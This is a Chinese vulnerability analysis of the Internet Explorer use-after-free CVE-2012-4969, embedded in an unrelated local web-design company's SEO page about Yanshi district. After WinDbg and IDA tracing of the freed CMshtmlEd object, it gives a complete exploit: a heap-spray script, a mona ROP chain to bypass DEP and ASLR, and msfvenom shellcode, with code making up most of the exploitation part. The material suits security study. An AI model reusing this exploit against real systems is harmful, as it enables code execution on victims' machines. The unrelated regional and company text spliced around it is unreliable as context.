偃师网站建设【偃师网络公司】偃师做网站、偃师微信公众号开发、偃师网站设计、偃师小程序制作
偃师区,隶属于河南省洛阳市,位于河南省西部,总面积668.58平方千米 [1] 。截至2019年末,偃师区总人口63.2万人 [3] ,截至2020年6月,偃师区下辖4个街道、9个镇 [2] ,偃师区人民政府驻槐新街道民主路27号。 [24]
周,设偃师县。1993年,偃师撤县设市。 [4] 2021年3月,撤销县级偃师市,设立洛阳市偃师区 [25] 。偃师区是河南省制造业高质量发展综合评价试点市 [5] 、革命文物保护利用片区分县 [6] 、国家卫生城市(区)。 [18]
2019年,偃师区实现地区生产总值443.6亿元,固定资产投资193.8亿元,一般公共预算收入24.6亿元,社会消费品零售总额222.6亿元。 [7]
UAF之CVE-2012-4969漏洞分析
目录
UAF之CVE-2012-4969漏洞分析
一、漏洞信息
1. 漏洞简述
2. 漏洞影响
3. 解决方案
二、漏洞复现
1. 环境搭建
2. 复现过程
三、漏洞分析
1. 基本信息
2. 详细分析
漏洞函数分析
POC分析
四、漏洞利用
1. 利用环境
2. 利用过程
五、参考文献
一、漏洞信息
1. 漏洞简述
2. 漏洞影响
Internet Explorer 6 至 9
3. 解决方案
MS12-063
二、漏洞复现
1. 环境搭建
2. 复现过程
使用metastploit模块获取poc1,LLmya.html
1 2 3 4 5 6 7 8 9 10 | <html>
<body>
<script>
var arrr = new Array();
arrr[0] = window.document.createElement("img");
arrr[0]["src"] = "E";
</script>
<iframe src="./UGuQTe.html"></iframe>
</body>
</html>
|
poc2,UGuQTe.html,两个文件保存在同一个目录下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | <HTML>
<script>
function funcB() {
document.execCommand("selectAll");
};
function funcA() {
document.write("O");
parent.arrr[0].src = "YMjf\u0c08\u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH";
}
</script>
<body onload='funcB();' onselect='funcA()'>
<div contenteditable='true'>
a
</div>
</body>
</HTML>
|
运行程序poc1,触发漏洞

三、漏洞分析
1. 基本信息
2. 详细分析
漏洞函数分析
设置hpa,ust堆调试属性,使用windbg调试IE浏览器,执行poc1,漏洞触发

查看edi的值

查看函数调用堆栈

IDA中反汇编函数CMshtmlEd::Exec,由于win7中打开了ASLR,所以只能靠地址的后两个字节定位漏洞触发点68b8503e。这里是edi地址引用错误,在函数中往前查看edi的赋值情况,edi只有一次赋值且为this指针(不排除中间函数更改edi的可能,需要动态调试验证)

在CMshtmlEd::Exec设置断点,单步执行查看edi的变化情况
1 | bp mshtml!CMshtmlEd::Exec
|
edi第一次赋值,查看堆的结构,得知edi指向CMshtmlEd实例的虚表


继续执行到触发异常点,edi还是指向同一个地方,但是!heap -p -a edi已经没有输出了,说明edi指向的堆已经不存在,大概率为释放后重利用漏洞

下一步查看CMshtmlEd实例的释放过程,先找到与CMshtmlEd类有关的函数

重点关注的函数
1 2 | CMshtmlEd::Release
CMshtmlEd::~CMshtmlEd
|
不过析构函数一般是与free一起调用的,查看CMshtmlEd::~CMshtmlEd,发现由CMshtmlEd::Release调用,查看release,有一处跳转执行free,所以就在CMshtmlEd::Release下断点

1 2 3 | 0:005> bp mshtml!CMshtmlEd::Exec //漏洞函数
0:005> g
0:005> bp mshtml!CMshtmlEd::Release
|
运行到漏洞函数CMshtmlEd::Exec时设置CMshtmlEd::Release断点,第一次执行到Release函数没有跳转执行free,第二次执行时调用了free函数


查看HeapFree函数的参数,第三个为this指针08178f78

继续执行之后就触发了异常,同时edi也是08178f78,与被free掉的this指针相同,说明this指针在被释放后了又进行引用导致UAF漏洞

那么,CMshtmlEd::Release的调用在漏洞函数CMshtmlEd::Exec哪里执行呢,查看CMshtmlEd::Exec,在漏洞触发点mov edi, dword ptr [edi+8]之前存在一个函数CCommand::Exec,需要使用edi指针,为什么执行之后就忽然edi指向的实例不存在了?

执行CCommamd::Exec之前查看edi

执行之后,edi指向的this指针已经被free掉了,之后执行mov edi, dword ptr [edi+8],导致异常。

验证:执行到CMshtmlEd::Exec时下断点mshtml!CMshtmlEd::Release和mshtml!CCommand::Exec,程序先后在CCommand::Exec和CMshtmlEd::Release断下,并执行了Heapfree函数,说明CCommand::Exec中释放了this指针
POC分析
windbg结合JavaScript调试,确定poc何处引发漏洞
查看CMshtmlEd实例的构造和释放过程,在IDA中查看CMshtmlEd::CMshtmlEd的引用函数AddCommandTarget和GetCommandTarget,都在分配了堆之后调用了CMshtmlEd的构造函数,所以关注构造函数就能直到堆的引用过程
AddCommandTarget函数

GetCommandTarget函数

在构造函数和release函数下断点
1 2 | bp mshtml!CMshtmlEd::CMshtmlEd
bp mshtml!CMshtmlEd::Release
|
执行funcB()时命中构造函数,查看函数参数this指针,这里由edx保存,堆为bb9af78

继续执行第二次命中构造函数,创建堆9e52f78

之后命中release,没有调用heapfree,然后执行funcA()

命中release,没有调用heapfree,又一次命中release,可以看到这里释放的堆为9e52f78

然后引发了一个奇怪的异常,可能是由于JavaScript调试导致

不过可以确定时funcA()引起的,write常常会触发对象释放,后面对arrr[0].src赋值是一个占位动作

四、漏洞利用
1. 利用环境
2. 利用过程
在CMshtmlEd对象被释放后,继续调用了vtable中的 [vtable + 8]函数,如果能够构造个虚假的地址将vtable占位,即可试下uaf利用。poc中parent.arrr[0]赋值实现了占位,程序,虚表指针edi+8指向了0c0c0c08


接着运行程序,调用了[[edi]+8],我们要向控制0c0c0c08处写入ROP和shellcode

Heap Spray,利用JavaScript String对象在内存中申请大量的堆块,堆一直占用直到地址0c0c0c0c,同时每一个分配的堆块结构sildecode+shellcode,sildecode为nop等滑板指令,劫持程序执行流到任何一个堆块(本例为0c0c0c0c)中都能够执行shellcode,在win7等开启了DEP和ASLR的系统,要构造ROP调用VirtualProtect以关闭dep,而且ROP位置要精准
为了实现shellcode精准到内存中指定位置:堆的大小和内部结构要非常精确,可以使用js的heaplib库,本次分析使用手动构造堆块。堆块进行分配的时候,因为堆块对齐,低4位10000大小的地址不会变化。举个例子,如果一个堆分配的低4位地址002c,那么其他堆的低位同为002c,只要以0x1000为单位进行构造堆块,那每个块结构机制都可轻易确定,如下图,low_offset固定,但high_offset不一定相同,当然每个shellcode块之间不能有空隙,不然会执行到0000的空隙字符

堆喷射代码,block结构,filler填充0020到0c0c到的内存,nop继续填充满1000字节

分配200MB的block,4字节bstr头适应js的string对象,最后以2个字节结尾

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | <html>
<body>
<script>
var arrr = new Array();
arrr[0] = window.document.createElement("img");
arrr[0]["src"] = "E";
function alloc(len, str) {
while (str.length < len)
str += str;
return str.substr(0, (len - 6) / 2);
}
var block_size = 0x1000 / 2; //一页大小
var offset = (0x0c0c - 0x0020 - 4) / 2; // shellcode在块中的偏移
var filler = unescape("%u0c0c");
while (filler.length < offset) {
filler += filler;
}
filler = filler.substring(0, offset);
var shellcode = unescape("%u7546%u7a7a%u5379" + "%u6365%u7275%u7469" + "%u9079");// FuzzySecurity的ascii,仅仅作为标识
var nop = unescape("%u9090");
for (i = 0; i < block_size; i++) {
nop += unescape("%u9090");
}
nop = nop.substring(0, block_size - shellcode.length - filler.length);
var block = filler + shellcode + nop;
block = alloc(0x100000-0x10, block);
len_block = block.length;
heap_chunks = new Array();
for (i = 0; i < 150; i++) {
heap_chunks[i] = block.substr(0, block.length);
}
</script>
<iframe src="../hpIpD0pjgv/UGuQTe.html"></iframe>
</body>
</html>
|
堆内存,90000为!peb的得到的进程堆基址,堆占用了99.46,每块大小为ffff0

筛选大小为ffff0的堆块,可以看到每个堆块低位均为0020

搜索shellcode "FuzzySecurity",可以看到每个shellcode间隔为1000,正好为我们构造的block,一部分内存已被block铺满,没有空隙
1 | s -a 0x00000000 L?7fffffff "FuzzySecurity"
|

构造ROP
为了绕过win7的dep和ASLR,需要构造ROP调用VirtualProtect以关闭dep,win7浏览器会加载jdk1.6,其中有两个模块没有开启ASLR的模块,mona插件查询ROP

自动生成ROP链,有问题需稍加修改,之后更改ROP以令程序执行call dword ptr [eax+8]时能够跳转到ROP,具体为迁移栈到0c0c0c0c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | !py mona rop -m "MSVCR71.dll, jp2ssv.dll"
//rop chain generated with mona.py - www.corelan.be
var rop_gadgets = unescape(
"%u5b4f%u7c36" + // 0x7c365b4f : ,
"%u0201%u0000" + // 0x00000201 : ,
"%u8b05%u7c34" + // 0x7c348b05: ,
"" + //
"%u6d28%u7c35" + // 0x7c356d28 : ,
"%u6d28%u7c35" + // 0x7c356d28 : ,
"" + //
// "%u09cf%u7c36" + // 0x7c3609cf : ,
// "%u0201%u0000" + // 0x00000201 : ,
"" + //
"%u4f8e%u7c34" + // 0x7c344f8e : ,
"%u0040%u0000" + // 0x00000040 : ,
"" + //
"%u8ab2%u7c35" + // 0x7c358ab2 : ,
"%uf2a1%u7c38" + // 0x7c38f2a1 : ,
"" + //
"%ue239%u7c36" + // 0x7c36e239 : ,
"%ud202%u7c34" + // 0x7c34d202 : ,
"" + //
"%uf8f8%u7c34" + // 0x7c34f8f8 : ,
"%u15a2%u7c34" + // 0x7c3415a2 : ,
"%u6747%u7c37" + // 0x7c376747 : ,
"%ua151%u7c37" + // 0x7c37a140 : ,
"" + //
"%u8c81%u7c37" + // 0x7c378c81 : ,
"" + //
"%u5c30%u7c34" + // 0x7c345c30 : ,
"");
|
kali生成shellcode,以js小端序输出
1 2 3 4 5 6 7 | kali@kali:~$ msfvenom -p windows/messagebox -f js_le
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 272 bytes
Final size of js_le file: 816 bytes
%uebd9%ud99b%u2474%u31f4%ub2d2%u3177%u64c9%u718b%u8b30%u0c76%u768b%u8b1c%u0846%u7e8b%u8b20%u3836%u184f%uf375%u0159%uffd1%u60e1%u6c8b%u2424%u458b%u8b3c%u2854%u0178%u8bea%u184a%u5a8b%u0120%ue3eb%u4934%u348b%u018b%u31ee%u31ff%ufcc0%u84ac%u74c0%uc107%u0dcf%uc701%uf4eb%u7c3b%u2824%ue175%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u89e8%u2444%u611c%ub2c3%u2908%u89d4%u89e5%u68c2%u4e8e%uec0e%ue852%uff9f%uffff%u4589%ubb04%ud87e%u73e2%u1c87%u5224%u8ee8%uffff%u89ff%u0845%u6c68%u206c%u6841%u3233%u642e%u7568%u6573%u3072%u88db%u245c%u890a%u56e6%u55ff%u8904%u50c2%ua8bb%u4da2%u87bc%u241c%ue852%uff5f%uffff%u6f68%u5878%u6820%u6761%u4265%u4d68%u7365%u3173%u88db%u245c%u890a%u68e3%u2058%u2020%u4d68%u4653%u6821%u6f72%u206d%u6f68%u202c%u6866%u6548%u6c6c%uc931%u4c88%u1024%ue189%ud231%u5352%u5251%ud0ff%uc031%uff50%u0855
|
最终exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 | <html>
<body>
<script>
var arrr = new Array();
arrr[0] = window.document.createElement("img");
arrr[0]["src"] = "E";
function alloc(len, str) {
while (str.length < len)
str += str;
return str.substr(0, (len - 6) / 2);
}
var block_size = 0x1000 / 2; //一页大小
var offset = (0x0c0c - 0x0020 - 4) / 2;
var filler = unescape("%u0c0c");
while (filler.length < offset) {
filler += filler;
}
filler = filler.substring(0, offset);
// msfvenom -p windows/messagebox -f js_le
var shellcode = unescape("%uebd9%ud99b%u2474%u31f4%ub2d2%u3177%u64c9%u718b%u8b30%u0c76%u768b%u8b1c%u0846%u7e8b%u8b20%u3836%u184f%uf375%u0159%uffd1%u60e1%u6c8b%u2424%u458b%u8b3c%u2854%u0178%u8bea%u184a%u5a8b%u0120%ue3eb%u4934%u348b%u018b%u31ee%u31ff%ufcc0%u84ac%u74c0%uc107%u0dcf%uc701%uf4eb%u7c3b%u2824%ue175%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u89e8%u2444%u611c%ub2c3%u2908%u89d4%u89e5%u68c2%u4e8e%uec0e%ue852%uff9f%uffff%u4589%ubb04%ud87e%u73e2%u1c87%u5224%u8ee8%uffff%u89ff%u0845%u6c68%u206c%u6841%u3233%u642e%u7568%u6573%u3072%u88db%u245c%u890a%u56e6%u55ff%u8904%u50c2%ua8bb%u4da2%u87bc%u241c%ue852%uff5f%uffff%u6f68%u5878%u6820%u6761%u4265%u4d68%u7365%u3173%u88db%u245c%u890a%u68e3%u2058%u2020%u4d68%u4653%u6821%u6f72%u206d%u6f68%u202c%u6866%u6548%u6c6c%uc931%u4c88%u1024%ue189%ud231%u5352%u5251%ud0ff%uc031%uff50%u0855");
//rop chain generated with mona.py - www.corelan.be
var rop_gadgets = unescape(
"%u5b4f%u7c36" + // 0x7c365b4f : ,
"%u0201%u0000" + // 0x00000201 : ,
"%u8b05%u7c34" + // 0x7c348b05: ,
"" + //
"%u6d28%u7c35" + // 0x7c356d28 : ,
"%u6d28%u7c35" + // 0x7c356d28 : ,
"" + //
// "%u09cf%u7c36" + // 0x7c3609cf : ,
// "%u0201%u0000" + // 0x00000201 : ,
"" + //
"%u4f8e%u7c34" + // 0x7c344f8e : ,
"%u0040%u0000" + // 0x00000040 : ,
"" + //
"%u8ab2%u7c35" + // 0x7c358ab2 : ,
"%uf2a1%u7c38" + // 0x7c38f2a1 : ,
"" + //
"%ue239%u7c36" + // 0x7c36e239 : ,
"%ud202%u7c34" + // 0x7c34d202 : ,
"" + //
"%uf8f8%u7c34" + // 0x7c34f8f8 : ,
"%u15a2%u7c34" + // 0x7c3415a2 : ,
"%u6747%u7c37" + // 0x7c376747 : ,
"%ua151%u7c37" + // 0x7c37a140 : ,
"" + //
"%u8c81%u7c37" + // 0x7c378c81 : ,
"" + //
"%u5c30%u7c34" + // 0x7c345c30 : ,
"");
var nop = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090");
rop_gadgets += nop;
for (i = 0; i < block_size; i++)
nop += unescape("%u9090");
nop = nop.substring(0, block_size - rop_gadgets.length - shellcode.length - filler.length);
var block = filler + rop_gadgets + shellcode + nop;
block = alloc(0xfffe0, block);//1MB堆内存
len_block = block.length;
heap_chunks = new Array();
for (i = 0; i < 150; i++)
heap_chunks[i] = block.substr(0, block.length);
</script>
<iframe src="../hpIpD0pjgv/UGuQTe.html"></iframe>
</body>
</html>
|


偃师网站建设【偃师网络公司】偃师做网站、偃师微信公众号开发、偃师网站设计、偃师小程序制作